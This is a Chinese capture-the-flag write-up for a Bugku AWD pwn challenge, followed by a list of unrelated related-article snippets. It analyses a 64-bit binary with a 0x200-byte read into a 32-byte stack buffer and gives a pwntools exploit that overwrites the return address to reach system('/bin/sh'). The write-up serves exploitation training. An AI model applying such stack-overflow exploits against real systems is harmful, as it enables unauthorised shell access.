【awd系列】Bugku S3 AWD排位赛-9 pwn类型
文章目录
- 二进制下载
- 检查分析
- 运行二进制
- ida分析
- 解题思路
- exp
二进制下载
下载地址:传送门
检查分析
[root@ningan 3rd]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
[root@ningan 3rd]#
[root@ningan 3rd]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/awd/3rd/pwn'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
可以看到,安全防护还是比较弱的
运行二进制
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ] [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Input: 123456[ Address ] [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Bye!
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ] [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Input: aaaaaaaa[ Address ] [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x000000000000000a |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Bye!
ida分析
分析main函数,发现有提示:call win函数

int __cdecl main(int argc, const char **argv, const char **envp)
{setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);printf("Your goal is to call `win` function (located at %p)\n", win);vuln();puts("Bye!");return 0;
}
可以看到,读取了一些内容存到了buf变量里,然后就调用了return函数,可以用这个栈溢出漏洞来进行利用

__int64 vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREF_show_stack(buf);printf("Input: ");read(0, buf, 0x200uLL);return _show_stack(buf);
}
查看win函数,看到有system(“/bin/sh”)的指令,可以直接利用

void __noreturn win()
{_QWORD v0[2]; // [rsp+0h] [rbp-10h] BYREFv0[1] = v0;if ( ((unsigned __int8)v0 & 0xF) != 0 ){puts("Oops! RSP is misaligned!");puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later.");puts("This instruction fails when RSP is not a multiple of 0x10.");puts("Find a way to align RSP! You're almost there!");sleep(1u);}else{puts("Congratulations!");system("/bin/sh");}exit(0);
}
找到system(“/bin/sh”);的地址为:0x00000000004008C4

.text:00000000004008C4 48 8D 3D C4 03 00 00 lea rdi, command ; "/bin/sh"
.text:00000000004008CB E8 A0 FD FF FF call _system
解题思路
找到填充的间隔为32

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ] [ Stack ]+--------------------+
0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf+--------------------+
0x00007ffce7496298 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a0 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a8 | 0x00007f258aa44170 |+--------------------+
0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln)+--------------------+
0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main)+--------------------+
0x00007ffce74962d0 | 0x0000000000000001 |+--------------------+
0x00007ffce74962d8 | 0x00007ffce74963a8 |+--------------------+Input: ^C
[root@ningan 3rd]#
[root@ningan 3rd]# python
Python 3.6.9 (default, Mar 10 2023, 16:46:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffce74962b0 - 0x00007ffce7496290
32
上面已经找到system(“/bin/sh”);的地址为:0x00000000004008C4
exp
from pwn import *io = process("./pwn")
# io = remote("xxxx", 9999) context.arch = "amd64"
# context.log_level = "debug"padding = b'A' * 32 + b'BBBBBBBB'
return_addr = 0x00000000004008C4
payload = padding + p64(return_addr)io.recvuntil('Input: ')
io.sendline(payload)
io.interactive()相关文章:
【awd系列】Bugku S3 AWD排位赛-9 pwn类型
文章目录 二进制下载检查分析运行二进制ida分析解题思路exp 二进制下载 下载地址:传送门 检查分析 [rootningan 3rd]# file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for …...
vcomp140.dll丢失的修复方法分享,电脑提示vcomp140.dll丢失修复方法
今天,我的电脑出现了一个奇怪的问题,打开某些程序时总是提示“找不到vcomp140.dll文件”。这个问题让我非常头疼,因为我无法正常使用电脑上的一些重要软件。为了解决这个问题,我在网上查找了很多资料,并尝试了多种方法…...
Docker file解析
文章目录 简介构建的三步骤Docker执行Dockerfile的大致流程DockerFile常用保留字指令创建第一个Dockerfile镜像的缓存特性 Docker file 解析 简介 Dockerfile是用来构建Docker镜像的文本文件,是由一条条构建镜像所需的指令和参数构成的脚本,记录了镜像构…...
工作与身体健康之间的平衡
大厂裁员,称35岁以后体能下滑,无法继续高效率地完成工作;体重上涨,因为35岁以后新陈代谢开始变慢;甚至坐久了会腰疼、睡眠困扰开始加重,在众多的归因中,仿佛35岁的到来,会为一切的焦…...
算法和数据结构
STL 【C】蓝桥杯必备 算法竞赛常用STL万字总结_蓝桥杯算法竞赛_Cpt1024的博客-CSDN博客 day1 1:正确 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台 // 中序遍历一遍二叉树,并统计节点数目 class Solution { public:int c…...
商城-学习整理-集群-K8S-集群环境部署(二十四)
目录 一、MySQL集群1、mysql集群原理2、Docker安装模拟MySQL主从复制集群1、下载mysql镜像2、创建Master实例并启动3、创建 Slave 实例并启动4、为 master 授权用户来同步数据1、进入 master 容器2、进入 mysql 内部 (mysql –uroot -p)3、查看 master 状…...
利用多种机器学习方法对爬取到的谷歌趋势某个关键词的每日搜索次数进行学习
大家好,我是带我去滑雪! 前一期利用python爬取了谷歌趋势某个关键词的每日搜索次数,本期利用爬取的数据进行多种机器学习方法进行学习,其中方法包括:随机森林、XGBOOST、决策树、支持向量机、神经网络、K邻近等方法&am…...
ARL资产侦察灯塔 指纹增强
项目:https://github.com/loecho-sec/ARL-Finger-ADD 下载项目后运行 python3 ARl-Finger-ADD.py https://你的vpsIP:5003/ admin password该项目中的finger.json可以自己找到其他的指纹完善,然后运行脚本添加指纹。...
javaee spring 自动注入,如果满足条件的类有多个如何区别
如图IDrinkDao有两个实现类 方法一 方法二 Resource(name“对象名”) Resource(name"oracleDrinkDao") private IDrinkDao drinkDao;...
sql语句中的ddl和dml
操作数据库:CRUD C(create) 创建 *数据库创建出来默认字符集为utf8 如果要更改字符集就 Create database 名称 character set gbk(字符集) *创建数据库:create database 名称 *先检查是否有该数据库在…...
学习JAVA打卡第四十一天
字符串与字符数组、字节数组 ⑴字符串与字符数组 String类的构造方法String(char a[])和String(char a[]),int offset,int length,分别用数组a中的全部字符和部分字符创建string对象。 String类也提供将string对象的字符序列存…...
leetcode SQL题目
文章目录 组合两个表第二高的薪水第N高的薪水分数排名连续出现的数字超过经理收入的员工查找重复的电子邮件从不订购的客户部门工资最高的员工部门工资前三高的所有员工删除重复的电子邮箱上升的温度游戏玩法分析Ⅰ游戏玩法Ⅳ 组合两个表 SELECT firstName,lastName,city,stat…...
计算机组成原理学习笔记-精简复习版
一、计算机系统概述 计算机系统硬件软件 计算机硬件的发展: 第一代计算机:(使用电子管)第二代计算机:(使用晶体管)第三代计算机:(使用较小规模的集成电路)第四代计算机:(使用较大规模的集成电路) 冯诺依曼体系结构…...
聊一聊微前端框架的选型和实现 | 业务平台
一、项目背景 目前,我们开发维护的项目主要有 6 个,但是分别对应 PC 和 H5 两个端: 如上图所示,我们 6个项目最开始是一个一个进行开发维护的,但是到后期,这几个项目之间有的部分会有业务逻辑不同ÿ…...
Elasticsearch 集成---框架集成SpringData-集成测试-索引操作
1.Spring Data 框架介绍 Spring Data 是一个用于简化数据库、非关系型数据库、索引库访问,并支持云服务的 开源框架。其主要目标是使得对数据的访问变得方便快捷,并支持 map-reduce 框架和云计 算数据服务。 Spring Data 可以极大的简化 JPA &a…...
将Series序列中的缺失值用后一个值填充Series.bfill()
【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 对于Series序列中的缺失值n1 用n1后面的值n2来填充替代 Series.bfill() [太阳]选择题 关于以下代码的说法中错误的是? import numpy as np import pandas as pd a pd.Series([1,np.nan,2,np.…...
用香港服务器域名需要备案吗?
在选择服务器的时候,很多人会考虑使用香港服务器。香港服务器的一个优势就是不需要备案。不管是虚拟主机还是云主机,无论是个人网站还是商业网站,都不需要进行备案手续。 域名实名认证 虽然不需要备案,但使用香港服务器搭建…...
【项目经理】项目管理杂谈
杂谈 1. 走上管理岗位,别再自己埋头干了2. 如何更好地管理项目进度3. 管理是“管事”而不是“管人”4. 让领导欣赏的十个沟通技巧在这里插入图片描述 1. 走上管理岗位,别再自己埋头干了 2. 如何更好地管理项目进度 3. 管理是“管事”而不是“管人” 4. 让…...
【算法总结篇】 笔面试常见题目
综述: 💞目的:本系列是个人整理为了秋招算法的,整理期间苛求每个知识点,平衡理解简易度与深入程度。 🥰来源:材料主要源于网上知识点进行的,每个代码参考热门大佬博客和leetcode平台…...
Java基础 数据结构一【栈、队列】
什么是数据结构 数据结构是计算机科学中的一个重要概念,用于组织和存储数据以便有效地进行访问、操作和管理。它涉及了如何在计算机内存中组织数据,以便于在不同操作中进行查找、插入、删除等操作 数据结构可以看作是一种数据的组织方式,不…...
UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
Java 加密常用的各种算法及其选择
在数字化时代,数据安全至关重要,Java 作为广泛应用的编程语言,提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景,有助于开发者在不同的业务需求中做出正确的选择。 一、对称加密算法…...
DBAPI如何优雅的获取单条数据
API如何优雅的获取单条数据 案例一 对于查询类API,查询的是单条数据,比如根据主键ID查询用户信息,sql如下: select id, name, age from user where id #{id}API默认返回的数据格式是多条的,如下: {&qu…...
Typeerror: cannot read properties of undefined (reading ‘XXX‘)
最近需要在离线机器上运行软件,所以得把软件用docker打包起来,大部分功能都没问题,出了一个奇怪的事情。同样的代码,在本机上用vscode可以运行起来,但是打包之后在docker里出现了问题。使用的是dialog组件,…...
libfmt: 现代C++的格式化工具库介绍与酷炫功能
libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库,提供了高效、安全的文本格式化功能,是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全:…...
解析两阶段提交与三阶段提交的核心差异及MySQL实现方案
引言 在分布式系统的事务处理中,如何保障跨节点数据操作的一致性始终是核心挑战。经典的两阶段提交协议(2PC)通过准备阶段与提交阶段的协调机制,以同步决策模式确保事务原子性。其改进版本三阶段提交协议(3PC…...
webpack面试题
面试题:webpack介绍和简单使用 一、webpack(模块化打包工具)1. webpack是把项目当作一个整体,通过给定的一个主文件,webpack将从这个主文件开始找到你项目当中的所有依赖文件,使用loaders来处理它们&#x…...
